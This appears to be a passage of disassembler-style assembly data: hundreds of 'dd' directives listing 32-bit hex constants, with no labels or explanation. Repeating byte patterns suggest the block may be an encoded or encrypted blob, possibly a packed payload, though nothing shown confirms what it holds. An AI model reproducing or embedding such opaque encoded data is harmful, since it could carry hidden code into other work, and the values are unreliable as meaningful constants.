		dd 0A1D06C89h, 57B133D9h, 0ABB1C756h, 0D5A0B359h, 0E6583256h
		dd 0B1B13256h, 39D0C651h, 0C11D8A1Dh, 4703226Ch, 57B13242h
		dd 0E1ECCE8Eh, 0A24EBF87h, 0EAFF268Bh, 45F85816h, 0F5FB09B1h
		dd 5D443256h, 0AEB1CB56h, 57B138BFh, 0E79CE956h, 0C777D672h
		dd 0EACCE2E7h, 75B1C756h, 0BABADBAAh, 0E5553256h, 0FB279DC9h
		dd 0E89F538Fh, 0A4B13220h, 0D5B133DDh, 0EAB1C756h, 7AEB8736h
		dd 0BAD0F8E9h, 47343D56h, 0A1B13256h, 57B126DBh, 0ABBEDB56h
		dd 9BF43256h, 0E67D1171h, 0B14DA3E4h, 0C0E5729Ch, 0A1B132A9h
		dd 0A1B132AFh, 57B123DEh, 0A03A3D56h, 3CB13256h, 0EAB13250h
		dd 6456C4D2h, 0B5D1687Bh, 5DB12CDCh, 0B6373D56h, 0BEB13256h
		dd 0ABB13245h, 0C162995Fh, 0C9779542h, 14FF250Bh, 570A9343h
		dd 3D8DBA20h, 0A1428D59h, 57B132DDh, 0AB595356h, 8FB13256h
		dd 7884D8D7h, 0C3D1344Fh, 39BE533Eh, 5DB13257h,	2334BFA3h
		dd 0BEB72ADBh, 0ABB1325Ch, 6B5357CDh, 0F824B3C5h, 0F73888A8h
		dd 0BCA84991h, 5DB126BFh, 7D17D956h, 5E328D77h,	0F4253830h
		dd 0B0F45924h, 236990BAh, 0B533BF71h, 0B5B72824h, 5DB13EDFh
		dd 0A8303D56h, 58B13256h, 0ABB132D6h, 0D33BB56h, 0E5B72B2Dh
		dd 75B133D5h, 5244CA56h, 5DB10A63h, 0AEB120BFh,	9E56EC56h
		dd 1379F392h, 0C5D05155h, 364526A5h, 9D4EDBD3h,	0BAB130FFh
		dd 5DB123BFh, 0AC449856h, 0A0368DD3h, 514C5414h, 279CCB8Bh
		dd 0FA588466h, 0ECB13256h, 0DA80A7D0h, 0DD8852F6h, 57BBAFC2h
		dd 90A85EAAh, 0B2CA7FD4h, 0D5B13250h, 1E3B5256h, 75A3DB00h
		dd 8B843256h, 7AB63F56h, 88D465C4h, 965D00E1h, 603DDB76h
		dd 20E35309h, 0FB50B790h, 7AE73445h, 0BAB13AD8h, 5F373D56h
		dd 0CEB13256h, 0EFE35A37h, 0A558AEFEh, 0E2B13256h, 0C8B50C8h
		dd 0BBC54DBDh, 0F0DBB41h, 5DBBDBCAh, 29FF3256h,	513D1C8Ah
		dd 9568DAEAh, 0CB5887A9h, 0E7583445h, 68B13256h, 634D4633h
		dd 5CD4C0Ch, 6620D476h,	2B82B7DBh, 20D13440h, 54E53ADh
		dd 0EAA3DB36h, 526F3256h, 96407D25h, 7AC80402h,	32E3E9B2h
		dd 0EB2706B6h, 8AAE7EEFh, 50385376h, 0ECA21B2Bh, 71DBCEAEh
		dd 0AAB15AAFh, 0DCD13256h, 0EA3F4DBDh, 5258534Ah, 25B13256h
		dd 0D032E9F5h, 0E9BC723Eh, 75DBCE56h, 5361CDAEh, 5DB13253h
		dd 88FF7099h, 57A1DB3Ch, 0E9053256h, 6E266B23h,	0CD73C21Dh
		dd 0AC83C071h, 53EB6D96h, 5DB1325Eh, 8964B7B6h,	0BF2135E6h
		dd 2FBEF25Dh, 0D5B13373h, 0EAB0B659h, 0FC483256h, 0A3CA7FD4h
		dd 4D585250h, 0FB13256h, 0E486E667h, 20D84962h,	0DDA15D0h
		dd 5C59C74Eh, 0F73853D7h, 0BCA8490Dh, 5DB9DA36h, 541E3256h
		dd 0C2BC5C21h, 0B40824A0h, 8D80D3DEh, 13D0CBDDh, 76BC72EFh
		dd 0B6393D56h, 52B13256h, 0AEB134DFh, 573C3D56h, 20B13256h
		dd 3C4452AEh, 0EAB13244h, 0B7893189h, 0FCEF0A49h, 0DD20DCE3h
		dd 1F7797AAh, 64D0606Ah, 5848CE96h, 0B5E752FCh,	4C016937h
		dd 80E3CE37h, 0B058363Ch, 0BAB13256h, 0F63DBA30h, 28525906h
		dd 0BBB15A6Ah, 0D2583256h, 73B13256h, 0E1E892F9h, 0D248B632h
		dd 5DB13656h, 0AEBDB559h, 0D4BE3256h, 0ABB13250h, 0D5B1BE59h
		dd 0EADB3256h, 75B13BBFh, 0FD1D2356h, 0BF50D163h, 3C4E8CF4h
		dd 51A21B2Bh, 0ABA5DB36h, 40943256h, 13B65D88h,	0D32A7281h
		dd 286F3C15h, 2A09BE3Eh, 0CF49D64Ah, 4F3D3D0Ch,	42B13256h
		dd 0D5B13245h, 1CDCA083h, 0EDBAB888h, 90F51476h, 0B01F98h
		dd 27519F2Bh, 4ECF68D4h, 0ABB6DB50h, 210B3256h,	0CCCF76BCh
		dd 0F4BE538Ch, 0BAB1325Eh, 5DB3BE59h, 0CFD13256h, 57BCDB36h
		dd 0AEC03256h, 2D8EDCADh, 0EE02B5DDh, 7A795598h, 31D0C5E9h
		dd 44CA7FD3h, 46E75250h, 57B13244h, 0BC6D2CB1h,	0F2839A41h
		dd 35409201h, 0BF6A8E91h, 0E5EF396Bh, 0DABEF137h, 0AEB13257h
		dd 0BED152A3h, 0ABB1325Eh, 65535D05h, 7CD1A55Eh, 0CC33F537h
		dd 0BAB72158h, 0B4B17256h, 0AEB13242h, 89274495h, 16F50DFCh
		dd 2FBE0CB1h, 0A3FCF981h, 20910FE7h, 9328B091h,	4DB13445h
		dd 0BF583256h, 31B13256h, 2D39A231h, 2A57E480h,	0D51D7C0h
		dd 9FF2A3Dh, 0BB303D37h
		dd 0A4B13256h, 19BE5295h, 0BED153A9h, 0ABB13247h, 0ADC533E4h
		dd 0FEC8BE2h, 0AF2D7E33h, 930D4F44h, 100BB9C8h,	0A1B72B2Dh
		dd 57B126D9h, 0A6585256h, 53B13256h, 48781F10h,	861D8F85h
		dd 5FCB88A6h, 5D8EB137h, 0AE65B659h, 0D9BE3256h, 0ABB13248h
		dd 0D5A9BE59h, 0F9583256h, 96B13256h, 8EA778A6h, 7F34756Ah
		dd 0A34225FEh, 77B4A69Eh, 0D432EADBh, 51BE3046h, 0EAB1320Bh
		dd 75B135BFh, 0F2953256h, 0CF7B1C24h, 0AEB7B559h, 0E0D13256h
		dd 0CA6FB978h, 0D1A14DD5h, 0EAD0B659h, 80D13256h, 0BAB122BFh
		dd 4131C356h, 0FA22D1C9h, 0D8F7FA19h, 0A37CF315h, 1232533Ch
		dd 0E13E3D42h, 9CB13256h, 0BAB13250h, 1494B970h, 0D858410Fh
		dd 374ECDA9h, 0ABB3B659h, 8AE73256h, 0FAF6F537h, 75B13257h
		dd 4561DBAFh, 4958CDA9h, 91B13256h, 3E01BBD5h, 0B8B0B934h
		dd 30D7C88Ah, 365707E6h, 0B2D8F809h, 0BAB22211h, 0D7BE3256h
		dd 0AEB13257h, 0A815DBAAh, 0CB48CDA9h, 0D5B13ABFh, 62AF4956h
		dd 0E3D60E82h, 0B5D0538Bh, 5DB13AD7h, 0AC3B3D56h, 37B13256h
		dd 0A658F137h, 0CEB13256h, 4445EC4Eh, 0CF27B89Dh, 0E8E21A76h
		dd 0BD305203h, 0EC014CCEh, 51333D37h, 0CBB13256h, 8AE0EADDh
		dd 135DB937h, 0F4BE5236h, 0BAB13256h, 0B5D071E2h, 0AEB13256h
		dd 7D5BB30Ch, 0A4B72BC1h, 0D5B127D5h, 0E4585256h, 0CFB13256h
		dd 9FABD5CFh, 41BBCCB4h, 1657FB5Fh, 0DC445357h,	0B2CF4AE4h
		dd 0D5BBDB50h, 53D93256h, 19E489BFh, 7D9916B6h,	0B4B977DDh
		dd 0AEB1325Eh, 0FC4091Eh, 0DB41BB95h, 204834DFh, 94C9B0D5h
		dd 7AB5344Fh, 0BAB13ED3h, 5DB6DB56h, 0B7ED3256h, 6A8EC61h
		dd 0A1585326h, 0A7B13256h, 0AC52167Fh, 0DDB324F6h, 4278CA21h
		dd 5DB123BFh, 8BC4D456h, 445429A5h, 14D67976h, 0C87F685Fh
		dd 0EE737A6Dh, 743D3D56h, 42B13256h, 5D59CE36h,	0F4B13256h
		dd 0C078D8D7h, 0A44D344Fh, 0D5B133D0h, 8CD1C756h, 13D220EEh
		dd 31D0C5DDh, 44CF68E4h, 0AF373D50h, 0AEB13256h, 0D5C9806Dh
		dd 51BE344Fh, 0EAB133E7h, 75B6B959h, 38BE3256h,	5DB13257h
		dd 568FB9A3h, 376EB9AAh, 0CACBEFD6h, 0D5BBB159h, 0EF583256h
		dd 6CB13256h, 8E49F085h, 5CFE8459h, 0AEB13CBFh,	18131F56h
		dd 96C22F80h, 0FC7E2FACh, 3DEE9E9h, 75B13246h, 4EFB8C6Dh
		dd 5EBF7CACh, 0D2904CCFh, 26487BD3h, 2BB075A0h,	0D5EAB759h
		dd 65BE3256h, 75B13257h, 0B56831A3h, 5DB12BD7h,	0AEA5DB56h
		dd 5D123256h, 43162459h, 6235724Ch, 0B72D7766h,	164F5F7Ch
		dd 0FC583264h, 3DB13256h, 0AEB121BFh, 44B8C456h, 54EA9C52h
		dd 0CC33B963h, 949A76FBh, 40ABE595h, 5757B236h,	5DB13BBEh
		dd 9A3D1656h, 16FF85B4h, 0CAE9F437h, 0DA681937h, 0EAB122DFh
		dd 75BADB56h, 3BA33256h, 8F7E52B0h, 0FDD18880h,	0D0BE717Ch
		dd 0ABB1324Eh, 0D5B121BFh, 0AB265D56h, 86DD7C5Eh, 0DFD65366h
		dd 0C4415A60h, 3F62E48Bh, 9B095215h, 0A4AB85A9h, 0D5B131D0h
		dd 0A46AB256h, 0D034B937h, 53B72177h, 5DB1325Dh, 53AF2472h
		dd 0BC46534h, 0A4E643DCh, 0D5B133D1h, 673ACE56h, 73A22853h
		dd 0DBD15236h, 0DDD0CFDCh, 47D0C2B0h, 57B1325Ch, 61B91F09h
		dd 26AC64FAh, 328A0925h, 7591B059h, 814D3256h, 4A363D8Fh
		dd 0A1B13256h, 57B135DCh, 0AA343D56h, 2CB13256h, 12B5F4D5h
		dd 8A4FBDBFh, 758AC7A9h, 5DF2B659h, 0A6583256h,	59B13256h
		dd 4D146E08h, 203DCCDAh, 0F0B48FDFh, 7D583445h,	9DB13256h
		dd 503CF38h, 476314D0h,	0A84ECC05h, 610E3D36h, 0D5B121BFh
		dd 5F0A3B56h, 0EC4E7D97h, 6868B6A4h, 0E95611A6h, 0A56CDE38h
		dd 37D15337h, 431FD7D6h, 0D5B13250h, 0D3D7B4CEh, 14E9A708h
		dd 79D0C7DCh, 5DB13ABFh, 9395A156h, 0C4F949A3h,	26BE523Dh
		dd 0D5B13248h, 0EAA9B659h, 66583256h, 5FB13256h, 0FCF35ABEh
		dd 17F3223Ch, 0D2AEF7B5h, 6F1D32DCh, 0D5598CACh, 0B0B13256h
		dd 0EC48D8D7h, 0DCD1344Fh, 304AEDD7h, 0CFAEF0D6h, 0D0BB9A3h
		dd 5EB72B28h, 0D5B032EFh, 2A82C756h, 75B139BFh,	9C994F56h
		dd 2712AD8Ah, 90D62602h, 57B9B559h, 2DBE3256h, 0D5B13254h
		dd 41425336h, 2F33B9AFh, 0DAB72B28h, 5DB4BF59h,	2FD73256h
		dd 7B483B7h, 0ABB1BC59h, 0B4EA3256h, 94C9B0DFh,	0F0BE344Fh
		dd 0BAB13242h, 5DB13DBFh, 634BBF56h, 6CD4F8E5h,	596679E6h
		dd 3F00DE54h, 35305237h, 529A4FC5h, 0E5E28104h,	3D49F137h
		dd 0F7D05201h, 57B121BEh, 60229A56h, 1013E1AFh,	0B1B6C3AEh
		dd 8B209630h, 0D252B4E9h, 3CEB5336h, 0BD3F3D36h, 0BEB13256h
		dd 0ABB13258h, 0EB66050Eh, 14021329h, 2238823Fh, 0BA596694h
		dd 7B13256h, 3474D8D7h,	0D3BE344Fh, 0ABB13245h,	0D5B13CBFh
		dd 0A36C3856h, 0EB7C95F7h, 73211C2Eh, 3D065BB9h, 0A1418D59h
		dd 57B132DFh, 2E775356h, 0D3A223B7h, 0E7313D00h, 9CB13256h
		dd 0BAB1325Eh, 0EE45BB89h, 0DF92C895h, 48DC0B3Eh, 1E4ECA82h
		dd 0D3A22CBFh, 8C218636h, 14759FEEh, 0C682B7DBh, 0D7BE3440h
		dd 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 56BEE2A9h, 0EAB13253h
		dd 8C3ACE36h, 53E3CB37h, 5DB13246h, 1BDD8ADDh, 4056FE1Ah
		dd 0FB05F32Eh, 137CED61h, 0EB3B3D06h, 8CB13256h, 0BA31323Eh
		dd 5DDBCE56h, 0E303CDAFh, 37B72B2Dh, 9FE5F7EEh,	54E535Eh
		dd 8CD16AAAh, 0B5DFC3D7h, 0FC6EB330h, 0A5EB53D2h, 146EB936h
		dd 488A7E64h, 2BB15A37h, 52BE3256h, 0EAB13257h,	7AB158AFh
		dd 0BAB133D2h, 0EF4ECE56h, 0A8A84C0Ch, 0FAB58C36h, 0CDE13F03h
		dd 8A4774E9h, 361CD37h,	75B1325Eh, 0EFF525B5h, 7D9965E9h
		dd 0AEA3DB37h, 0F1A33256h, 77A659C2h, 4CE72288h, 0F822335Dh
		dd 853D92CAh, 0B2333D95h, 3DB13256h, 0C85FFBD6h, 2D0E8DDh
		dd 525DB9AEh, 5CD08D36h, 8AD04BCCh, 70343D36h, 1B13256h
		dd 7753DA3h, 0CF638559h, 57B132BEh, 41306856h, 0D3A8AE59h
		dd 0EAA2DB36h, 64E43256h, 3CD89E45h, 0A717A2B3h, 0BD8FF7Eh
		dd 0A5DFF037h, 0A44453A5h, 0D5B13AD0h, 0E83E3D56h, 15B13256h
		dd 0B2C4B937h, 0E82E8D36h, 0BE587039h, 4FB13256h, 8B94E18h
		dd 5A7BCBBh, 432C9FBEh,	14A2C098h, 0BAA01EBEh, 51313D56h
		dd 0A1B13256h, 57B134DEh, 0AB3B3D56h, 80B13256h, 0EABBDB36h
		dd 5E043256h, 0C381693Fh, 0C0EE171Fh, 0AEB123BEh, 36902F56h
		dd 0E294B970h, 0F488410Fh, 80241BF3h, 0CBD7A91Ah, 0DBEF55CEh
		dd 2676A0A9h, 0C8D1344Fh, 325FE9D7h, 0ABA6B459h, 0C4593256h
		dd 51B13256h, 0E21B1458h, 22D5CA44h, 965B5745h,	0B0498EA0h
		dd 37EC530Eh, 0CD688D59h, 0EED0F8DDh, 6FBE3E23h, 8A4ECDD6h
		dd 0BAB139BFh, 0E7211B56h, 4E85C84Ch, 0A0BDCD4Ah, 0ABA1AEBEh
		dd 0D3595256h, 0F9B13256h, 0E617195Ah, 727EB35Fh, 5D085E9h
		dd 0BCE9F2E9h, 0BED0531Ah, 0ABB13250h, 24EAEA22h, 16782ED6h
		dd 9CB13A94h, 0BAB13258h, 34571A6Bh, 0AAF8D45Eh, 1428AC2Ah
		dd 0CBE4C8BDh, 0B3A78336h, 0E5D0FDDDh, 75B130D5h, 0DBE96456h
		dd 0D2BEDEDDh, 0AEB1325Ah, 573C3D36h, 0CDB13256h, 0B496B7ECh
		dd 0EAB139BFh, 0A4499756h, 1C8C35A5h, 0D18959Bh, 5B4DF6D5h
		dd 31E65200h, 0F8E9F1DDh, 0B5E6530Eh, 0EAB120BFh, 85429E56h
		dd 0E65448ECh, 6CA0110Ch, 7D365972h, 0BE25B366h, 0ABB13245h
		dd 594AC1D3h, 61E3AAABh, 1ECC89C7h, 8A9B7CC8h, 3C0657C8h
		dd 25D75205h, 0E56FB397h, 0CAE7902Dh, 0D5B1DAAAh, 6BEB3256h
		dd 6C2C8ABCh, 0BAA5DB50h
		dd 0CD213256h, 950179ADh, 6F474D0Bh, 0D3B4929h,	5995C6CAh
		dd 6148D062h, 0F7BE3A23h, 0BAB13251h, 5DB0BE59h, 25493256h
		dd 5158222Bh, 92B13256h, 0FF327841h, 3E6CA45h, 75B1325Ch
		dd 0CE97624Bh, 0A15C0B71h, 47E743D6h, 57B1325Dh, 389CB23Eh
		dd 7E3D7BA8h, 2FF97A2h,	75B133EEh, 0BAB13CBFh, 1504E256h
		dd 0C81AA4CBh, 0D97EFE62h, 0A0538E76h, 23353D96h, 0E5B13256h
		dd 75B135D1h, 0BB373D56h, 0A5B13256h, 0BA58CADDh, 0B2B13256h
		dd 0FF965B69h, 0D08CC615h, 0C13DFB69h, 9AAA9F70h, 0EFD1FBFDh
		dd 9A23CDAEh, 0CEB72B2Dh, 0E07EB330h, 0ABA2DAD8h, 71683256h
		dd 143F3714h, 66A06748h, 5F375BFAh, 754B94C6h, 0F3D0689Bh
		dd 57BFBD59h, 0A2583256h, 0D8B13256h, 7136D1A5h, 34F99B19h
		dd 0B5BD476Dh, 5DB1BAD2h, 0AEBADB56h, 6BFB3256h, 0DE9A234Bh
		dd 7D06DE9Eh, 0F43A5484h, 9231CBAAh, 0B4323DA6h, 3DB13256h
		dd 9517F3D7h, 0D0BE6BF5h, 0ABB13256h, 3CAFB837h, 0EAB13246h
		dd 8AD3E788h, 48C31664h, 0E77931F9h, 0CA503FB4h, 5841D1D6h
		dd 0ABB133D9h, 0BF59C756h, 3B1327Eh, 75B13251h,	0B5018D4Eh
		dd 0B445A48Ah, 514ECCB8h, 57BDB759h, 2DBE3256h,	0D5B13250h
		dd 0EAB1B159h, 7B583256h, 0DBB13256h, 0F7C78D78h, 4C10F851h
		dd 624B17B4h, 57CCBB4Eh, 0D5B135BFh, 0ACBD7256h, 8D07368Dh
		dd 0BAB134BFh, 6428F656h, 46CE2D89h, 0A84EC428h, 0CDD169AFh
		dd 54BEC9DDh, 0EAB13250h, 5B3D1D7h, 0E5D009C5h,	5DB120BFh
		dd 0FE189556h, 0C1A20104h, 64352AC7h, 0C7513E0h, 0B47FDBC4h
		dd 95305436h, 0B5593ACFh, 0C9B13256h, 387A78B9h, 0A2FB2B4Fh
		dd 72AA75F4h, 92084F69h, 0B1ECFDAEh, 89F4B937h,	0BABCDA36h
		dd 20C73256h, 0A5AD9E6Eh, 981F02CCh, 1C124DE6h,	64026A6Eh
		dd 6CBEFB37h, 75B13245h, 6E095436h, 5DB6DAEBh, 6C5B3256h
		dd 499F2CBFh, 69D06D13h, 2049325Ah, 0FA595203h,	0E8B13256h
		dd 433D0551h, 5353E708h, 3FF0EC79h, 0EEF373C7h,	94562120h
		dd 0C458520Eh, 77B13256h, 241F4B4h, 80244B32h, 9CDA8A9h
		dd 29CE8650h, 0BB3A5337h, 5375B1AAh, 0D95865A3h, 0AB13256h
		dd 0D9F4326Fh, 11DE40CDh, 0B1AA51Fh, 0AEBDB059h, 0D5BE3256h
		dd 0ABB13250h, 0D5B1B459h, 3E03256h, 75B13246h,	2260FD63h
		dd 185161A0h, 82B74E1Ah, 0C6304555h, 0ABB4B059h, 29D13256h
		dd 0B9D06D06h, 75B121BFh, 80068C56h, 7166874Fh,	0A90C96D4h
		dd 9F3DAA41h, 14D424CBh, 0D5497791h, 3B13256h, 75B1325Fh
		dd 0F8CBABA1h, 8375625Dh, 133F59Eh, 56B72B2Bh, 42B13256h
		dd 0D5B13244h, 589A9A20h, 0BAF8A1B0h, 3B3245F3h, 271563B3h
		dd 2549C9F9h, 0DBBE3A23h, 0ABB13250h, 6672B936h, 61D753E8h
		dd 2BE35248h, 0F70BB937h, 0A8B72B2Dh, 0CEB96DDDh, 0DE62B330h
		dd 68063D58h, 0DA6A3937h, 0EAB1E3D2h, 75A3DB56h, 0FE663256h
		dd 734115C3h, 3A52200Eh, 532B45A0h, 10775D41h, 0DA6F09AEh
		dd 0EAB14AD3h, 75A0DB56h, 7A1D3256h, 0A06F417Eh, 9144DF4h
		dd 1323D067h, 0CBFCAD30h, 7762B236h, 74DFC5E8h,	7E59532Fh
		dd 77B13256h, 0EC80C681h, 7F6F4DE3h, 0DCD7556Fh, 20D06B8Fh
		dd 54BE3E0Bh, 0EAB1325Ah, 75B7B759h, 30BE3256h,	5DB13256h
		dd 0AEA9BA59h, 44583256h, 8B13256h, 1F79815Dh, 0E043DD3Ah
		dd 5EEA482Eh, 83AA55F1h, 2388D6Fh, 0A858C75Ah, 0C1B13256h
		dd 0BD3090E1h, 0C176B127h, 15FBDBAFh, 7C58CDA9h, 2EB13256h
		dd 0F7C15707h, 0CAD0DD67h, 57BFDA36h, 0C4A03256h, 6383A346h
		dd 0BB8D6C38h, 8F4F60EBh, 0B5EB5336h, 5DB136D0h, 8C0E5456h
		dd 0DCD75356h, 0A6595248h, 0D2B13256h, 5F7A4D1Eh, 0A2532607h
		dd 0E5FE13D5h, 0DDD06BA3h, 2ABEDAADh, 57B1361Ch, 0ABB120BFh
		dd 35C14956h, 2AFA59EEh, 0C4041987h, 65C5ACA7h,	0DDC123B6h
		dd 2ABEDBADh, 57B1367Ch, 404AB2A3h, 0D191B659h,	3D13256h
		dd 75B13242h, 3F1F74EFh, 0B27224C5h, 0F9B4BD5h,	38EBD214h
		dd 0BF3D315h, 0CC9A93E9h, 0E5D15342h, 75B12AD0h, 0BAA3DA56h
		dd 0A11B3256h, 4B6FD961h, 6C2584EEh, 23FCCA37h,	0D8B6B1EBh
		dd 8B69B90Fh, 7A53C9D6h, 0BAB2F5D2h, 5DB4DB56h,	806B3256h
		dd 375AE0F4h, 0ABB7BD59h, 3D303256h, 80AF136Eh,	33B48A30h
		dd 594AB237h, 5ED2B659h, 0BE583256h, 5FB13256h,	0B6E668AEh
		dd 0AD724B5Ch, 9B60B4CBh, 132D289Ah, 59D6C9D7h,	5E33B659h
		dd 0A1D13256h, 57B139D5h, 0ABB7DB56h, 0FE133256h, 2236C3Ah
		dd 144BB930h, 0B541D5D6h, 5DB129D3h, 0BB3D3D56h, 0BEB13256h
		dd 0ABB13246h, 98F4F162h, 4A612CC5h, 5E514E6h, 55365575h
		dd 524AB330h, 0E5353DD6h, 58B13255h, 0ABB139DAh, 0D5B7DB56h
		dd 8E4D3256h, 4E11F33Ah, 0DA41D1D6h, 657EB330h,	0CF1F811Dh
		dd 0B8305436h, 0A4E0FF71h, 0D5B132D2h, 6AD06856h, 0F1BE42ADh
		dd 0BAB13140h, 433A54AEh, 0AEB123BFh, 7E8A2E56h, 0F7F66F05h
		dd 0D9C9D6Ah, 99BD892Ch, 96311154h, 0BABDDBAEh,	348B3256h
		dd 71751D82h, 2587DDE6h, 0A4D10DAAh, 0D5B131D9h, 2D0E3D56h
		dd 8E3153A3h, 39353DEEh, 0B4B13257h, 0AEB13253h, 0D8EC39C3h
		dd 0AE8FB206h, 0D4C1B659h, 3D13256h, 75B1325Ch,	0A8AD77E6h
		dd 0EDC86BC9h, 10D7C8AFh, 0D7D08279h, 2FBE1F68h, 0D5B13304h
		dd 0EAB122BFh, 4DA3E556h, 5AD9748Dh, 50E41056h,	90D0FB5Ch
		dd 3F8FB217h, 0AA85B659h, 5EBE3256h, 0EAB1324Bh, 75A6B159h
		dd 0A8583256h, 95B13256h, 0FC19002h, 0EB28D3DEh, 5B98B4F3h
		dd 7B1D5086h, 0EAB6DB05h, 94F73256h, 0A6BF63B9h, 0F233CDFBh
		dd 0A1B72B2Bh, 57B139D5h, 11D75256h, 54D722E2h,	8B044B84h
		dd 9CAFB930h, 0BAB13253h, 36C9E3F9h, 25D752DDh,	57B7DAADh
		dd 0CB6D3256h, 0FD3910F3h, 0EAB1BD59h, 14EF3256h, 4649D5D6h
		dd 0DC4AB330h, 15353DBEh, 58B13256h, 0ABB133DAh, 5ED7CB56h
		dd 0D31CB48h, 0F4D7C7A6h, 0B571B3ADh, 5DB193D2h, 563A5256h
		dd 2741B330h, 0A4D153D7h, 0D5B122D0h, 0EABADB56h, 0F2E03256h
		dd 629F42FFh, 8DCF5493h, 0BF586796h, 0FCB13256h, 0A65902D2h
		dd 4858B189h, 0BD25705Bh, 49B31071h, 0C176A0A9h, 5158344Fh
		dd 7B13256h, 0D5549A36h, 4DCF36B5h, 88BF8CC1h, 0EAB0BF59h
		dd 0FC493256h, 0B5D1CE13h, 5DB12AD9h, 0AEA2DB56h, 44933256h
		dd 87BA6CA1h, 80EA5E80h, 0CE7625DAh, 0BD82F367h, 0DB7AB91Ch
		dd 0EFD15237h, 0AE313DFCh, 36B13256h, 57CCB137h, 9D343D57h
		dd 8AB13254h, 75B6DBAFh, 281A3256h, 0F21147C5h,	143A5397h
		dd 51A23CEFh, 0ABB13CBFh, 0C4795256h, 353B187Eh, 70611B70h
		dd 4F904442h, 4C3A3D06h, 47B13256h, 57B1325Ah, 4DE7E549h
		dd 0AA7AEB29h, 1D731242h, 0DA33B9AFh, 0DAB72B2Bh, 8E31E3DCh
		dd 9288535Ah, 0D6D75266h, 42E3798Dh, 0D5B13253h, 0D26C81D8h
		dd 2D48535Ah, 0BB6CB059h, 0B5D13256h, 0AEB1325Ah, 0D2BCEC95h
		dd 67DB27E6h, 0ECDAE4F3h, 0B57B8D59h, 1490E4D6h, 932888DDh
		dd 0D9BE3445h, 0AEB13241h, 57B120BFh, 80428756h, 12442389h
		dd 8725E204h, 2DD95CEEh, 0EA2648EAh, 5DB6BE59h,	24BE3256h
		dd 57B13257h, 433B9AEh,	0B5B72B2Bh, 0DA8D0B37h,	410E5436h
		dd 0AC363DD8h, 0B5B13256h, 0AEB13246h, 0A43367BFh, 0C6794ED8h
		dd 47DD8D32h, 7E675628h, 0FED1530Ch, 0DBD152A6h, 3C4ED8D6h
		dd 21BE6A37h, 57B13305h, 0ABA0BA59h, 0D9583256h, 1AB13256h
		dd 96A36A78h, 20C6C4C2h
		dd 0B4DE2552h, 0AEB13218h, 0AFF4F5AEh, 0ABB13254h, 0D5AABD59h
		dd 6ABE3256h, 75B13243h, 0BAB122BFh, 43652056h,	8B0D2B85h
		dd 6B3B7B02h, 4B35698Bh, 0CA58C71Ah, 1FB13256h,	75BBB759h
		dd 0BF583256h, 0E3B13256h, 9C3FC317h, 56497791h, 0A4B13256h
		dd 0D5B133DEh, 503ACA56h, 73A8491Bh, 433A5436h,	5DB13DBEh
		dd 0B04EAC56h, 2404432h, 0B91A700Ch, 6BA5BFF2h,	7C398930h
		dd 6A3A530Dh, 0BAB123BFh, 8D4E6256h, 0CF60E4CDh, 8A1161E0h
		dd 6AE1FC41h, 0EBAF28Ah, 0EA14B659h, 0F4D13256h, 3725F285h
		dd 0DEBE5203h, 0AEB13256h, 0A97BC1D7h, 0CAD02FD8h, 50BEEC6Dh
		dd 0EAB13201h, 13D05236h, 31D0C2DDh, 0B4D13E0Bh, 0AEB13250h
		dd 230C599Ch, 503A77E2h, 2DCCB137h, 0CB353D56h,	9CB13256h
		dd 0BAB13251h, 641F80D5h, 52E6E580h, 0BE496F55h, 0ABB1325Ah
		dd 26976B34h, 6EB14084h, 3C392BA1h, 53B56DDFh, 5DB1325Dh
		dd 0EFD46AF1h, 35FC6898h, 28924051h, 58BE2691h,	0EAB13257h
		dd 8AEDDBA3h, 0ECD1CDA9h, 0BBF2F8D7h, 0C8EF00E9h, 64D0E8DDh
		dd 0CA485296h, 0D5B476BFh, 0F50B5256h, 13CB4EFBh, 0DCD0E1DDh
		dd 5A582CDDh, 0BB13256h, 5365223Ah, 43D1CBCFh, 0D5B1325Eh
		dd 0F8210373h, 0A7F3D9BDh, 0DBEB5336h, 52BD4FDDh, 0AEB13BDDh
		dd 58445256h, 0ABB132DFh, 2E315356h, 89353DBDh,	7AB13256h
		dd 0BAB121D9h, 57585256h, 0F9B13256h, 0BD98A298h, 63977EF1h
		dd 0B46FB931h, 0E541D1D6h, 75B123DAh, 0B13A3D56h, 0B4B13256h
		dd 0AEB13250h, 0B8CAF06Ah, 50313D5Dh, 66353D26h, 16B13256h
		dd 1E338A36h, 0B5D1381Fh, 5DB132DBh, 47D05356h,	57B13368h
		dd 0ABBDB359h, 50BE3256h, 0EAB13250h, 75B1B659h, 0BD773256h
		dd 5B373DBFh, 0CEB13256h, 0AE70B930h, 0AAF6F537h, 0D5B13256h
		dd 0EAB9DB36h, 0E2A3256h, 0FB92B8B0h, 50588BCAh, 94B13256h
		dd 4F459262h, 7425B8C7h, 8ABB6116h, 8A76B937h, 0CE06EAD7h
		dd 0E8D11B63h, 0B230540Fh, 0CFD0AA20h, 57B120BFh, 0A76C2D56h
		dd 3E35461Bh, 0FDC4BA23h, 0D5391860h, 391B30AEh, 50583796h
		dd 0E0B13256h, 5AAE8FBAh, 0BD2BEBEAh, 220DB152h, 0EAB512BFh
		dd 0BE305256h, 0EFF19B64h, 0BD305436h, 910799E4h, 90D75337h
		dd 57B93D51h, 0B3D12CDCh, 5178F7ECh, 134A9BFDh,	0BAA3DB37h
		dd 811B3256h, 0F12BFA35h, 8C0199AEh, 2CCF3508h,	30332D5Ah
		dd 8ABED1D6h, 75B13FBFh, 2028E556h, 0E0C9D100h,	0C5EA88E5h
		dd 0DCD7C69Ah, 603153A7h, 8A39CBD6h, 24095257h,	1488949Bh
		dd 0BAB37591h, 0B4B13256h, 0AEB13253h, 37A1CA78h, 4276B91Fh
		dd 0D5B1325Ch, 0FA40794Ch, 101BEE35h, 7A32CF8Dh, 0CF58CE50h
		dd 0CEB13255h, 3B7BD1D7h, 0AD595371h, 8B13256h,	8E191BB8h
		dd 75BBDB1Eh, 2DA13256h, 49BA546Eh, 0F50E9B7Ah,	0D6D7530Dh
		dd 0A421A268h, 0D5B14FD2h, 0B305256h, 0F3220BCh, 0BAB2B859h
		dd 89313256h, 9031538Bh, 3B343DC6h, 0CBB13256h,	0D5B138BFh
		dd 0B65B6E56h, 3F7271A7h, 2C70111h, 32468447h, 0AEBBDB37h
		dd 0FD863256h, 66C29F98h, 0D09847C4h, 15CFB330h, 0F1BEA2C6h
		dd 0BAB13264h, 5DB138BFh, 95032C56h, 0B4292601h, 42ED1B4Ch
		dd 0D5B1325Ch, 0D180ACF2h, 5086547Ah, 0A2583E6Bh, 52B13256h
